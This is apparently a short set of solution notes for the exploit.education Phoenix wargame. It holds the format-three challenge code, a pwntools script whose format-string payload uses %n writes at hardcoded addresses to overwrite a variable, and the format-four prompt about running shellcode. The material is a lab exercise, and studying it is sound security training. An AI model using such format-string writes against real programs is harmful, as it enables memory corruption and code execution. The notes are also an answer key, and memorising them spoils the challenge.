/* * phoenix/format-three, by https://exploit.education * * Can you change the "changeme" variable to a precise value? * * How do you fix a cracked pumpkin? With a pumpkin patch. */
if (changeme == 0x64457845) { puts("Well done, the 'changeme' variable has been changed correctly!"); } else { printf( "Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme); }
from pwn import * p = process("/opt/phoenix/i486/format-three") p.sendline("\x44\x98\x04\x08\x45\x98\x04\x08\x46\x98\x04\x08\x47\x98\x04\x08"+"A"*(0x145-99-4*4)+"%08x "*11+"%n"+"a"*((0x178-0x145))+"%n"+"a"*(0x245-0x178)+"%n"+"a"*(0x264-0x245)+"%n") p.interactive()
/* * phoenix/format-four, by https://exploit.education * * Can you affect code execution? Once you've got congratulations() to * execute, can you then execute your own shell code? * * Did you get a hair cut? * No, I got all of them cut. * */